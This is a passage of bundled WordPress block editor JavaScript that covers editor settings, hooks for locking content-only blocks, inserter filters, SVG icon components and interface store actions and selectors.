8216 const { editMediaEntity } = unlock((0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store));
8217 const { saveEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
8218 const createPageEntity = (0,external_wp_element_namespaceObject.useCallback)(
8219 (options) => {
8220 if (!userCanCreatePages) {
8221 return Promise.reject({
8222 message: (0,external_wp_i18n_namespaceObject.__)(
8223 "You do not have permission to create Pages."
8224 )
8225 });
8226 }
8227 return saveEntityRecord("postType", "page", options);
8228 },
8229 [saveEntityRecord, userCanCreatePages]
8230 );
8231 const allowedBlockTypes = (0,external_wp_element_namespaceObject.useMemo)(() => {
8232 if (hiddenBlockTypes && hiddenBlockTypes.length > 0) {
8233 const defaultAllowedBlockTypes = true === settings.allowedBlockTypes ? blockTypes.map(({ name }) => name) : settings.allowedBlockTypes || [];
8234 return defaultAllowedBlockTypes.filter(
8235 (type) => !hiddenBlockTypes.includes(type)
8236 );
8237 }
8238 return settings.allowedBlockTypes;
8239 }, [settings.allowedBlockTypes, hiddenBlockTypes, blockTypes]);
8240 const forceDisableFocusMode = settings.focusMode === false;
8241 return (0,external_wp_element_namespaceObject.useMemo)(() => {
8242 const blockEditorSettings = {
8243 ...Object.fromEntries(
8244 Object.entries(settings).filter(
8245 ([key]) => BLOCK_EDITOR_SETTINGS.includes(key)
8246 )
8247 ),
8248 [globalStylesDataKey]: globalStylesData,
8249 [globalStylesLinksDataKey]: globalStylesLinksData,
8250 allowedBlockTypes,
8251 allowRightClickOverrides,
8252 focusMode: focusMode && !forceDisableFocusMode,
8253 hasFixedToolbar,
8254 isDistractionFree,
8255 keepCaretInsideBlock,
8256 [mediaEditKey]: hasUploadPermissions ? editMediaEntity : void 0,
8257 mediaUpload: hasUploadPermissions ? mediaUpload : void 0,
8258 mediaSideload: hasUploadPermissions ? media_sideload_default : void 0,
8259 __experimentalBlockPatterns: blockPatterns,
8260 [selectBlockPatternsKey]: (select) => {
8261 const { hasFinishedResolution, getBlockPatternsForPostType } = unlock(select(external_wp_coreData_namespaceObject.store));
8262 const patterns = getBlockPatternsForPostType(postType);
8263 return hasFinishedResolution("getBlockPatterns") ? patterns : void 0;
8264 },
8265 [reusableBlocksSelectKey]: __experimentalReusableBlocksSelect,
8266 __experimentalBlockPatternCategories: blockPatternCategories,
8267 __experimentalUserPatternCategories: userPatternCategories,
8268 __experimentalFetchLinkSuggestions: (search, searchOptions) => (0,external_wp_coreData_namespaceObject.__experimentalFetchLinkSuggestions)(search, searchOptions, settings),
8269 inserterMediaCategories: media_categories_default,
8270 __experimentalFetchRichUrlData: external_wp_coreData_namespaceObject.__experimentalFetchUrlData,
8271 // Todo: This only checks the top level post, not the post within a template or any other entity that can be edited.
8272 // This might be better as a generic "canUser" selector.
8273 __experimentalCanUserUseUnfilteredHTML: canUseUnfilteredHTML,
8274 //Todo: this is only needed for native and should probably be removed.
8275 __experimentalUndo: undo,
8276 // Check whether we want all site editor frames to have outlines
8277 // including the navigation / pattern / parts editors.
8278 outlineMode: !isDistractionFree && postType === "wp_template",
8279 // Check these two properties: they were not present in the site editor.
8280 __experimentalCreatePageEntity: createPageEntity,
8281 __experimentalUserCanCreatePages: userCanCreatePages,
8282 pageOnFront,
8283 pageForPosts,
8284 __experimentalPreferPatternsOnRoot: postType === "wp_template",
8285 templateLock: postType === "wp_navigation" ? "insert" : settings.templateLock,
8286 template: postType === "wp_navigation" ? [["core/navigation", {}, []]] : settings.template,
8287 __experimentalSetIsInserterOpened: setIsInserterOpened,
8288 [sectionRootClientIdKey]: sectionRootClientId,
8289 editorTool: renderingMode === "post-only" && postType !== "wp_template" ? "edit" : void 0
8290 };
8291 return blockEditorSettings;
8292 }, [
8293 allowedBlockTypes,
8294 allowRightClickOverrides,
8295 focusMode,
8296 forceDisableFocusMode,
8297 hasFixedToolbar,
8298 isDistractionFree,
8299 keepCaretInsideBlock,
8300 settings,
8301 hasUploadPermissions,
8302 userPatternCategories,
8303 blockPatterns,
8304 blockPatternCategories,
8305 canUseUnfilteredHTML,
8306 undo,
8307 createPageEntity,
8308 userCanCreatePages,
8309 pageOnFront,
8310 pageForPosts,
8311 postType,
8312 setIsInserterOpened,
8313 sectionRootClientId,
8314 globalStylesData,
8315 globalStylesLinksData,
8316 renderingMode,
8317 editMediaEntity
8318 ]);
8319}
8320var use_block_editor_settings_default = useBlockEditorSettings;
8321
8322
8323;// ./node_modules/@wordpress/editor/build-module/components/provider/use-post-content-blocks.js
8324
8325
8326
8327
8328
8329const POST_CONTENT_BLOCK_TYPES = [
8330 "core/post-title",
8331 "core/post-featured-image",
8332 "core/post-content"
8333];
8334function usePostContentBlocks() {
8335 const contentOnlyBlockTypes = (0,external_wp_element_namespaceObject.useMemo)(
8336 () => [
8337 ...(0,external_wp_hooks_namespaceObject.applyFilters)(
8338 "editor.postContentBlockTypes",
8339 POST_CONTENT_BLOCK_TYPES
8340 )
8341 ],
8342 []
8343 );
8344 const contentOnlyIds = (0,external_wp_data_namespaceObject.useSelect)(
8345 (select) => {
8346 const { getPostBlocksByName } = unlock(select(store_store));
8347 return getPostBlocksByName(contentOnlyBlockTypes);
8348 },
8349 [contentOnlyBlockTypes]
8350 );
8351 return contentOnlyIds;
8352}
8353
8354
8355;// ./node_modules/@wordpress/editor/build-module/components/provider/disable-non-page-content-blocks.js
8356
8357
8358
8359
8360function DisableNonPageContentBlocks() {
8361 const contentOnlyIds = usePostContentBlocks();
8362 const { templateParts } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
8363 const { getBlocksByName } = select(external_wp_blockEditor_namespaceObject.store);
8364 return {
8365 templateParts: getBlocksByName("core/template-part")
8366 };
8367 }, []);
8368 const disabledIds = (0,external_wp_data_namespaceObject.useSelect)(
8369 (select) => {
8370 const { getBlockOrder } = select(external_wp_blockEditor_namespaceObject.store);
8371 return templateParts.flatMap(
8372 (clientId) => getBlockOrder(clientId)
8373 );
8374 },
8375 [templateParts]
8376 );
8377 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
8378 (0,external_wp_element_namespaceObject.useEffect)(() => {
8379 const { setBlockEditingMode, unsetBlockEditingMode } = registry.dispatch(external_wp_blockEditor_namespaceObject.store);
8380 setBlockEditingMode("", "disabled");
8381 return () => {
8382 unsetBlockEditingMode("");
8383 };
8384 }, [registry]);
8385 (0,external_wp_element_namespaceObject.useEffect)(() => {
8386 const { setBlockEditingMode, unsetBlockEditingMode } = registry.dispatch(external_wp_blockEditor_namespaceObject.store);
8387 registry.batch(() => {
8388 for (const clientId of contentOnlyIds) {
8389 setBlockEditingMode(clientId, "contentOnly");
8390 }
8391 });
8392 return () => {
8393 registry.batch(() => {
8394 for (const clientId of contentOnlyIds) {
8395 unsetBlockEditingMode(clientId);
8396 }
8397 });
8398 };
8399 }, [contentOnlyIds, registry]);
8400 (0,external_wp_element_namespaceObject.useEffect)(() => {
8401 const { setBlockEditingMode, unsetBlockEditingMode } = registry.dispatch(external_wp_blockEditor_namespaceObject.store);
8402 registry.batch(() => {
8403 for (const clientId of templateParts) {
8404 setBlockEditingMode(clientId, "contentOnly");
8405 }
8406 });
8407 return () => {
8408 registry.batch(() => {
8409 for (const clientId of templateParts) {
8410 unsetBlockEditingMode(clientId);
8411 }
8412 });
8413 };
8414 }, [templateParts, registry]);
8415 (0,external_wp_element_namespaceObject.useEffect)(() => {
8416 const { setBlockEditingMode, unsetBlockEditingMode } = registry.dispatch(external_wp_blockEditor_namespaceObject.store);
8417 registry.batch(() => {
8418 for (const clientId of disabledIds) {
8419 setBlockEditingMode(clientId, "disabled");
8420 }
8421 });
8422 return () => {
8423 registry.batch(() => {
8424 for (const clientId of disabledIds) {
8425 unsetBlockEditingMode(clientId);
8426 }
8427 });
8428 };
8429 }, [disabledIds, registry]);
8430 return null;
8431}
8432
8433
8434;// ./node_modules/@wordpress/editor/build-module/components/provider/navigation-block-editing-mode.js
8435
8436
8437
8438function NavigationBlockEditingMode() {
8439 const blockClientId = (0,external_wp_data_namespaceObject.useSelect)(
8440 (select) => select(external_wp_blockEditor_namespaceObject.store).getBlockOrder()?.[0],
8441 []
8442 );
8443 const { setBlockEditingMode, unsetBlockEditingMode } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
8444 (0,external_wp_element_namespaceObject.useEffect)(() => {
8445 if (!blockClientId) {
8446 return;
8447 }
8448 setBlockEditingMode(blockClientId, "contentOnly");
8449 return () => {
8450 unsetBlockEditingMode(blockClientId);
8451 };
8452 }, [blockClientId, unsetBlockEditingMode, setBlockEditingMode]);
8453}
8454
8455
8456;// ./node_modules/@wordpress/editor/build-module/components/provider/use-hide-blocks-from-inserter.js
8457
8458
8459const POST_TYPES_ALLOWING_POST_CONTENT_TEMPLATE_PART = [
8460 "wp_block",
8461 "wp_template",
8462 "wp_template_part"
8463];
8464function useHideBlocksFromInserter(postType, mode) {
8465 (0,external_wp_element_namespaceObject.useEffect)(() => {
8466 (0,external_wp_hooks_namespaceObject.addFilter)(
8467 "blockEditor.__unstableCanInsertBlockType",
8468 "removeTemplatePartsFromInserter",
8469 (canInsert, blockType) => {
8470 if (!POST_TYPES_ALLOWING_POST_CONTENT_TEMPLATE_PART.includes(
8471 postType
8472 ) && blockType.name === "core/template-part" && mode === "post-only") {
8473 return false;
8474 }
8475 return canInsert;
8476 }
8477 );
8478 (0,external_wp_hooks_namespaceObject.addFilter)(
8479 "blockEditor.__unstableCanInsertBlockType",
8480 "removePostContentFromInserter",
8481 (canInsert, blockType, rootClientId, { getBlockParentsByBlockName }) => {
8482 if (!POST_TYPES_ALLOWING_POST_CONTENT_TEMPLATE_PART.includes(
8483 postType
8484 ) && blockType.name === "core/post-content") {
8485 return getBlockParentsByBlockName(rootClientId, "core/query").length > 0;
8486 }
8487 return canInsert;
8488 }
8489 );
8490 return () => {
8491 (0,external_wp_hooks_namespaceObject.removeFilter)(
8492 "blockEditor.__unstableCanInsertBlockType",
8493 "removeTemplatePartsFromInserter"
8494 );
8495 (0,external_wp_hooks_namespaceObject.removeFilter)(
8496 "blockEditor.__unstableCanInsertBlockType",
8497 "removePostContentFromInserter"
8498 );
8499 };
8500 }, [postType, mode]);
8501}
8502
8503
8504;// ./node_modules/@wordpress/icons/build-module/library/keyboard.js
8505
8506
8507var keyboard_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
8508 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m16 15.5h-8v-1.5h8zm-7.5-2.5h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2zm-9-3h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2z" }),
8509 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m18.5 6.5h-13a.5.5 0 0 0 -.5.5v9.5a.5.5 0 0 0 .5.5h13a.5.5 0 0 0 .5-.5v-9.5a.5.5 0 0 0 -.5-.5zm-13-1.5h13a2 2 0 0 1 2 2v9.5a2 2 0 0 1 -2 2h-13a2 2 0 0 1 -2-2v-9.5a2 2 0 0 1 2-2z" })
8510] });
8511
8512
8513;// ./node_modules/@wordpress/icons/build-module/library/list-view.js
8514
8515
8516var list_view_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M3 6h11v1.5H3V6Zm3.5 5.5h11V13h-11v-1.5ZM21 17H10v1.5h11V17Z" }) });
8517
8518
8519;// ./node_modules/@wordpress/icons/build-module/library/code.js
8520
8521
8522var code_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20.8 10.7l-4.3-4.3-1.1 1.1 4.3 4.3c.1.1.1.3 0 .4l-4.3 4.3 1.1 1.1 4.3-4.3c.7-.8.7-1.9 0-2.6zM4.2 11.8l4.3-4.3-1-1-4.3 4.3c-.7.7-.7 1.8 0 2.5l4.3 4.3 1.1-1.1-4.3-4.3c-.2-.1-.2-.3-.1-.4z" }) });
8523
8524
8525;// ./node_modules/@wordpress/icons/build-module/library/drawer-left.js
8526
8527
8528var drawer_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8529 external_wp_primitives_namespaceObject.Path,
8530 {
8531 fillRule: "evenodd",
8532 clipRule: "evenodd",
8533 d: "M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zM8.5 18.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h2.5v13zm10-.5c0 .3-.2.5-.5.5h-8v-13h8c.3 0 .5.2.5.5v12z"
8534 }
8535) });
8536
8537
8538;// ./node_modules/@wordpress/icons/build-module/library/drawer-right.js
8539
8540
8541var drawer_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8542 external_wp_primitives_namespaceObject.Path,
8543 {
8544 fillRule: "evenodd",
8545 clipRule: "evenodd",
8546 d: "M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4 14.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h8v13zm4.5-.5c0 .3-.2.5-.5.5h-2.5v-13H18c.3 0 .5.2.5.5v12z"
8547 }
8548) });
8549
8550
8551;// ./node_modules/@wordpress/icons/build-module/library/block-default.js
8552
8553
8554var block_default_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z" }) });
8555
8556
8557;// ./node_modules/@wordpress/icons/build-module/library/format-list-bullets.js
8558
8559
8560var format_list_bullets_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM6 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-7c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z" }) });
8561
8562
8563;// ./node_modules/@wordpress/icons/build-module/library/pencil.js
8564
8565
8566var pencil_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z" }) });
8567
8568
8569;// ./node_modules/@wordpress/icons/build-module/library/symbol.js
8570
8571
8572var symbol_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) });
8573
8574
8575;// ./node_modules/@wordpress/icons/build-module/library/page.js
8576
8577
8578var page_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
8579 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z" }),
8580 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z" })
8581] });
8582
8583
8584;// ./node_modules/@wordpress/icons/build-module/library/rotate-right.js
8585
8586
8587var rotate_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M15.1 4.8l-3-2.5V4c-4.4 0-8 3.6-8 8 0 3.7 2.5 6.9 6 7.7.3.1.6.1 1 .2l.2-1.5c-.4 0-.7-.1-1.1-.2l-.1.2v-.2c-2.6-.8-4.5-3.3-4.5-6.2 0-3.6 2.9-6.5 6.5-6.5v1.8l3-2.5zM20 11c-.2-1.4-.7-2.7-1.6-3.8l-1.2.8c.7.9 1.1 2 1.3 3.1L20 11zm-1.5 1.8c-.1.5-.2 1.1-.4 1.6s-.5 1-.8 1.5l1.2.9c.4-.5.8-1.1 1-1.8s.5-1.3.5-2l-1.5-.2zm-5.6 5.6l.2 1.5c1.4-.2 2.7-.7 3.8-1.6l-.9-1.1c-.9.7-2 1.1-3.1 1.2z" }) });
8588
8589
8590;// ./node_modules/@wordpress/icons/build-module/library/rotate-left.js
8591
8592
8593var rotate_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 4V2.2L9 4.8l3 2.5V5.5c3.6 0 6.5 2.9 6.5 6.5 0 2.9-1.9 5.3-4.5 6.2v.2l-.1-.2c-.4.1-.7.2-1.1.2l.2 1.5c.3 0 .6-.1 1-.2 3.5-.9 6-4 6-7.7 0-4.4-3.6-8-8-8zm-7.9 7l1.5.2c.1-1.2.5-2.3 1.2-3.2l-1.1-.9C4.8 8.2 4.3 9.6 4.1 11zm1.5 1.8l-1.5.2c.1.7.3 1.4.5 2 .3.7.6 1.3 1 1.8l1.2-.8c-.3-.5-.6-1-.8-1.5s-.4-1.1-.4-1.7zm1.5 5.5c1.1.9 2.4 1.4 3.8 1.6l.2-1.5c-1.1-.1-2.2-.5-3.1-1.2l-.9 1.1z" }) });
8594
8595
8596;// external ["wp","commands"]
8597const external_wp_commands_namespaceObject = window["wp"]["commands"];
8598;// ./node_modules/@wordpress/icons/build-module/library/star-filled.js
8599
8600
8601var star_filled_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z" }) });
8602
8603
8604;// ./node_modules/@wordpress/icons/build-module/library/star-empty.js
8605
8606
8607var star_empty_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8608 external_wp_primitives_namespaceObject.Path,
8609 {
8610 fillRule: "evenodd",
8611 d: "M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z",
8612 clipRule: "evenodd"
8613 }
8614) });
8615
8616
8617;// external ["wp","viewport"]
8618const external_wp_viewport_namespaceObject = window["wp"]["viewport"];
8619;// external ["wp","plugins"]
8620const external_wp_plugins_namespaceObject = window["wp"]["plugins"];
8621;// ./node_modules/@wordpress/icons/build-module/library/close-small.js
8622
8623
8624var close_small_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z" }) });
8625
8626
8627;// ./node_modules/@wordpress/interface/build-module/store/deprecated.js
8628
8629function normalizeComplementaryAreaScope(scope) {
8630 if (["core/edit-post", "core/edit-site"].includes(scope)) {
8631 external_wp_deprecated_default()(`${scope} interface scope`, {
8632 alternative: "core interface scope",
8633 hint: "core/edit-post and core/edit-site are merging.",
8634 version: "6.6"
8635 });
8636 return "core";
8637 }
8638 return scope;
8639}
8640function normalizeComplementaryAreaName(scope, name) {
8641 if (scope === "core" && name === "edit-site/template") {
8642 external_wp_deprecated_default()(`edit-site/template sidebar`, {
8643 alternative: "edit-post/document",
8644 version: "6.6"
8645 });
8646 return "edit-post/document";
8647 }
8648 if (scope === "core" && name === "edit-site/block-inspector") {
8649 external_wp_deprecated_default()(`edit-site/block-inspector sidebar`, {
8650 alternative: "edit-post/block",
8651 version: "6.6"
8652 });
8653 return "edit-post/block";
8654 }
8655 return name;
8656}
8657
8658
8659;// ./node_modules/@wordpress/interface/build-module/store/actions.js
8660
8661
8662
8663const setDefaultComplementaryArea = (scope, area) => {
8664 scope = normalizeComplementaryAreaScope(scope);
8665 area = normalizeComplementaryAreaName(scope, area);
8666 return {
8667 type: "SET_DEFAULT_COMPLEMENTARY_AREA",
8668 scope,
8669 area
8670 };
8671};
8672const enableComplementaryArea = (scope, area) => ({ registry, dispatch }) => {
8673 if (!area) {
8674 return;
8675 }
8676 scope = normalizeComplementaryAreaScope(scope);
8677 area = normalizeComplementaryAreaName(scope, area);
8678 const isComplementaryAreaVisible = registry.select(external_wp_preferences_namespaceObject.store).get(scope, "isComplementaryAreaVisible");
8679 if (!isComplementaryAreaVisible) {
8680 registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, "isComplementaryAreaVisible", true);
8681 }
8682 dispatch({
8683 type: "ENABLE_COMPLEMENTARY_AREA",
8684 scope,
8685 area
8686 });
8687};
8688const disableComplementaryArea = (scope) => ({ registry }) => {
8689 scope = normalizeComplementaryAreaScope(scope);
8690 const isComplementaryAreaVisible = registry.select(external_wp_preferences_namespaceObject.store).get(scope, "isComplementaryAreaVisible");
8691 if (isComplementaryAreaVisible) {
8692 registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, "isComplementaryAreaVisible", false);
8693 }
8694};
8695const pinItem = (scope, item) => ({ registry }) => {
8696 if (!item) {
8697 return;
8698 }
8699 scope = normalizeComplementaryAreaScope(scope);
8700 item = normalizeComplementaryAreaName(scope, item);
8701 const pinnedItems = registry.select(external_wp_preferences_namespaceObject.store).get(scope, "pinnedItems");
8702 if (pinnedItems?.[item] === true) {
8703 return;
8704 }
8705 registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, "pinnedItems", {
8706 ...pinnedItems,
8707 [item]: true
8708 });
8709};
8710const unpinItem = (scope, item) => ({ registry }) => {
8711 if (!item) {
8712 return;
8713 }
8714 scope = normalizeComplementaryAreaScope(scope);
8715 item = normalizeComplementaryAreaName(scope, item);
8716 const pinnedItems = registry.select(external_wp_preferences_namespaceObject.store).get(scope, "pinnedItems");
8717 registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, "pinnedItems", {
8718 ...pinnedItems,
8719 [item]: false
8720 });
8721};
8722function toggleFeature(scope, featureName) {
8723 return function({ registry }) {
8724 external_wp_deprecated_default()(`dispatch( 'core/interface' ).toggleFeature`, {
8725 since: "6.0",
8726 alternative: `dispatch( 'core/preferences' ).toggle`
8727 });
8728 registry.dispatch(external_wp_preferences_namespaceObject.store).toggle(scope, featureName);
8729 };
8730}
8731function setFeatureValue(scope, featureName, value) {
8732 return function({ registry }) {
8733 external_wp_deprecated_default()(`dispatch( 'core/interface' ).setFeatureValue`, {
8734 since: "6.0",
8735 alternative: `dispatch( 'core/preferences' ).set`
8736 });
8737 registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, featureName, !!value);
8738 };
8739}
8740function setFeatureDefaults(scope, defaults) {
8741 return function({ registry }) {
8742 external_wp_deprecated_default()(`dispatch( 'core/interface' ).setFeatureDefaults`, {
8743 since: "6.0",
8744 alternative: `dispatch( 'core/preferences' ).setDefaults`
8745 });
8746 registry.dispatch(external_wp_preferences_namespaceObject.store).setDefaults(scope, defaults);
8747 };
8748}
8749function openModal(name) {
8750 return {
8751 type: "OPEN_MODAL",
8752 name
8753 };
8754}
8755function closeModal() {
8756 return {
8757 type: "CLOSE_MODAL"
8758 };
8759}
8760
8761
8762;// ./node_modules/@wordpress/interface/build-module/store/selectors.js
8763
8764
8765
8766
8767const getActiveComplementaryArea = (0,external_wp_data_namespaceObject.createRegistrySelector)(
8768 (select) => (state, scope) => {
8769 scope = normalizeComplementaryAreaScope(scope);
8770 const isComplementaryAreaVisible = select(external_wp_preferences_namespaceObject.store).get(
8771 scope,
8772 "isComplementaryAreaVisible"
8773 );
8774 if (isComplementaryAreaVisible === void 0) {
8775 return void 0;
8776 }
8777 if (isComplementaryAreaVisible === false) {
8778 return null;
8779 }
8780 return state?.complementaryAreas?.[scope];
8781 }
8782);
8783const isComplementaryAreaLoading = (0,external_wp_data_namespaceObject.createRegistrySelector)(
8784 (select) => (state, scope) => {
8785 scope = normalizeComplementaryAreaScope(scope);
8786 const isVisible = select(external_wp_preferences_namespaceObject.store).get(
8787 scope,
8788 "isComplementaryAreaVisible"
8789 );
8790 const identifier = state?.complementaryAreas?.[scope];
8791 return isVisible && identifier === void 0;
8792 }
8793);
8794const isItemPinned = (0,external_wp_data_namespaceObject.createRegistrySelector)(
8795 (select) => (state, scope, item) => {
8796 scope = normalizeComplementaryAreaScope(scope);
8797 item = normalizeComplementaryAreaName(scope, item);
8798 const pinnedItems = select(external_wp_preferences_namespaceObject.store).get(
8799 scope,
8800 "pinnedItems"
